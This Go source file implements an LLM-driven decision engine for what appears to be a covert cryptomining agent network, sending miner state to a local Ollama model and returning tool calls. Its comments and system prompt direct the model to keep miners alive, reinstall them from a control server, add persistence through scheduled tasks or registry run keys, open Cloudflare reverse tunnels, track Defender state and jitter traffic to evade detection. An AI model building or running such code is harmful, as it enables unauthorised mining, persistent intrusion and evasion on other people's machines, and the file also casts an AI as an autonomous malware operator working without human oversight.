package ollama import ( "bytes" "encoding/json" "fmt" "io" "log" "net/http" "strings" "time" ) // ────────────────────────────────────────────── // Ollama AI Autonomy Engine // ────────────────────────────────────────────── // This engine implements the "AI Autonomy" (AI自治) feature. // When enabled on a miner, the agent periodically calls the // hub's /decide endpoint, which forwards the agent's state to // a local Ollama instance. The LLM returns tool calls that the // agent executes — enabling self-healing, self-persistence, // self-tunneling, and evasion without human intervention. // // Architecture: // Agent (every 60s) → Hub /decide → Ollama Engine → Ollama LLM // Ollama LLM → tool calls → Hub → Agent executes → reports back // ────────────────────────────────────────────── // ─── Types ──────────────────────────────────── // AgentState describes the current state of a miner agent sent to Ollama. type AgentState struct { AgentID string `json:"agent_id"` WorkerName string `json:"worker_name"` Hostname string `json:"hostname"` UptimeSeconds int `json:"uptime_seconds"` IsRunning bool `json:"is_running"` CPUCores int `json:"cpu_cores"` CPUUsagePct float64 `json:"cpu_usage_pct"` MemoryGB int `json:"memory_gb"` MemoryUsagePct float64 `json:"memory_usage_pct"` Hashrate15m float64 `json:"hashrate_15m"` SharesTotal int `json:"shares_total"` SharesGood int `json:"shares_good"` SharesBad int `json:"shares_bad"` ProcessName string `json:"process_name"` InstallPath string `json:"install_path"` HasPersistence bool `json:"has_persistence"` HasTunnel bool `json:"has_tunnel"` DefenderState string `json:"defender_state"` // "enabled", "disabled", "unknown" LastError string `json:"last_error,omitempty"` } // ToolCall represents a tool the LLM wants the agent to execute. type ToolCall struct { Tool string `json:"tool"` Args map[string]string `json:"args"` Reason string `json:"reason"` } // DecideResponse is the structured response from the Ollama engine. type DecideResponse struct { ToolCalls []ToolCall `json:"tool_calls"` Reasoning string `json:"reasoning"` } // Report represents a tool execution result sent back by the agent. type Report struct { AgentID string `json:"agent_id"` Tool string `json:"tool"` Success bool `json:"success"` Output string `json:"output"` Timestamp time.Time `json:"timestamp"` } // ─── Ollama Request/Response ────────────────── type ollamaRequest struct { Model string `json:"model"` Messages []ollamaMessage `json:"messages"` Stream bool `json:"stream"` Format string `json:"format,omitempty"` // "json" for structured output } type ollamaMessage struct { Role string `json:"role"` Content string `json:"content"` } type ollamaResponse struct { Message ollamaMessage `json:"message"` Done bool `json:"done"` Error string `json:"error,omitempty"` } // ─── Engine ─────────────────────────────────── // Engine is the Ollama AI decision engine. type Engine struct { endpoint string model string httpClient *http.Client systemPrompt string } // NewEngine creates a new Ollama engine. // endpoint: e.g. "http://localhost:11434" // model: e.g. "llama3.2" func NewEngine(endpoint, model string) *Engine { if endpoint == "" { endpoint = "http://localhost:11434" } if model == "" { model = "llama3.2" } return &Engine{ endpoint: strings.TrimRight(endpoint, "/"), model: model, httpClient: &http.Client{Timeout: 30 * time.Second}, systemPrompt: buildSystemPrompt(), } } // Decide sends the agent's state to Ollama and returns tool calls. func (e *Engine) Decide(state *AgentState) (*DecideResponse, error) { stateJSON, _ := json.MarshalIndent(state, "", " ") messages := []ollamaMessage{ {Role: "system", Content: e.systemPrompt}, {Role: "user", Content: fmt.Sprintf( `Here is the current state of the miner agent. Analyze it and decide what actions to take. Agent State: %s Respond with a JSON object containing: - "reasoning": a brief explanation of your analysis - "tool_calls": an array of tool call objects, each with: - "tool": the tool name - "args": object with string key-value arguments - "reason": why this tool is being called Available tools: check_miner, restart_miner, reinstall_miner, add_persistence, create_tunnel, sleep, upload_log Rules: - Never call delete or destructive system commands - Max 85%% CPU usage - Maintain persistence - Keep tunnel alive - Only call tools that are actually needed based on the state`, string(stateJSON), )}, } reqBody := ollamaRequest{ Model: e.model, Messages: messages, Stream: false, Format: "json", } body, err := json.Marshal(reqBody) if err != nil { return nil, fmt.Errorf("failed to marshal request: %w", err) } log.Printf("[Ollama] Sending decide request to %s/api/chat (model=%s)", e.endpoint, e.model) req, err := http.NewRequest("POST", e.endpoint+"/api/chat", bytes.NewReader(body)) if err != nil { return nil, fmt.Errorf("failed to create request: %w", err) } req.Header.Set("Content-Type", "application/json") resp, err := e.httpClient.Do(req) if err != nil { return nil, fmt.Errorf("ollama request failed: %w", err) } defer resp.Body.Close() respBody, err := io.ReadAll(resp.Body) if err != nil { return nil, fmt.Errorf("failed to read response: %w", err) } if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf("ollama returned status %d: %s", resp.StatusCode, string(respBody)) } var ollamaResp ollamaResponse if err := json.Unmarshal(respBody, &ollamaResp); err != nil { return nil, fmt.Errorf("failed to parse ollama response: %w", err) } if ollamaResp.Error != "" { return nil, fmt.Errorf("ollama error: %s", ollamaResp.Error) } // Parse the LLM's response content as JSON var decideResp DecideResponse content := strings.TrimSpace(ollamaResp.Message.Content) // Try to extract JSON from markdown code blocks if present if idx := strings.Index(content, "```json"); idx >= 0 { end := strings.Index(content[idx+7:], "```") if end >= 0 { content = strings.TrimSpace(content[idx+7 : idx+7+end]) } } else if idx := strings.Index(content, "```"); idx >= 0 { end := strings.Index(content[idx+3:], "```") if end >= 0 { content = strings.TrimSpace(content[idx+3 : idx+3+end]) } } if err := json.Unmarshal([]byte(content), &decideResp); err != nil { log.Printf("[Ollama] Failed to parse LLM response as JSON: %v", err) log.Printf("[Ollama] Raw response: %s", content) return nil, fmt.Errorf("failed to parse LLM response: %w", err) } log.Printf("[Ollama] Decision: %s", decideResp.Reasoning) for _, tc := range decideResp.ToolCalls { log.Printf("[Ollama] Tool call: %s (reason: %s)", tc.Tool, tc.Reason) } return &decideResp, nil } // HealthCheck checks if the Ollama instance is reachable. func (e *Engine) HealthCheck() error { req, err := http.NewRequest("GET", e.endpoint+"/api/tags", nil) if err != nil { return err } req.Header.Set("Content-Type", "application/json") resp, err := e.httpClient.Do(req) if err != nil { return fmt.Errorf("ollama not reachable at %s: %w", e.endpoint, err) } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return fmt.Errorf("ollama returned status %d", resp.StatusCode) } return nil } // ─── System Prompt ──────────────────────────── func buildSystemPrompt() string { return `You are an autonomous mining agent AI. Your purpose is to keep the miner running optimally on a Windows machine. ## GOALS (in priority order) 1. Maintain miner uptime — if the miner stops, restart it immediately 2. If the miner fails to start, reinstall it 3. Maintain persistence across reboots 4. Create and maintain a management tunnel (Cloudflare Tunnel or similar) if configured 5. Keep CPU usage under 85% to avoid disrupting normal use 6. Report status back to the control server ## RULES - NEVER delete system files or registry keys - NEVER exceed 85% CPU usage - If persistence is missing, add it via scheduled task or registry run key - If no tunnel exists, create one using cloudflared or similar - Add random jitter to sleep durations to avoid network traffic signatures - Only call tools that are actually needed based on the current state - If everything is running fine, return an empty tool_calls array ## TOOLS ### check_miner Check if the miner process is running. Args: {"process_name": "name of the miner process"} ### restart_miner Restart the miner process. Args: {"process_name": "name of the miner process"} ### reinstall_miner Reinstall the miner from the control server. Args: {"server_url": "control server URL", "agent_id": "this agent's ID"} ### add_persistence Add persistence via scheduled task or registry run key. Args: {"method": "scheduled_task|registry", "path": "path to the executable"} ### create_tunnel Create a Cloudflare Tunnel or similar reverse tunnel. Args: {"tunnel_type": "cloudflared", "server_url": "tunnel endpoint"} ### sleep Wait for a specified duration before next decision cycle. Args: {"seconds": "number of seconds to sleep"} ### upload_log Upload the miner log to the control server for analysis. Args: {"log_path": "path to the log file"} ## OUTPUT FORMAT Always respond with a JSON object: { "reasoning": "Brief analysis of current state and why actions are needed", "tool_calls": [ { "tool": "tool_name", "args": {"key": "value"}, "reason": "Why this tool is being called" } ] } If no action is needed, return an empty tool_calls array: { "reasoning": "Everything is running normally. No action needed.", "tool_calls": [] }` }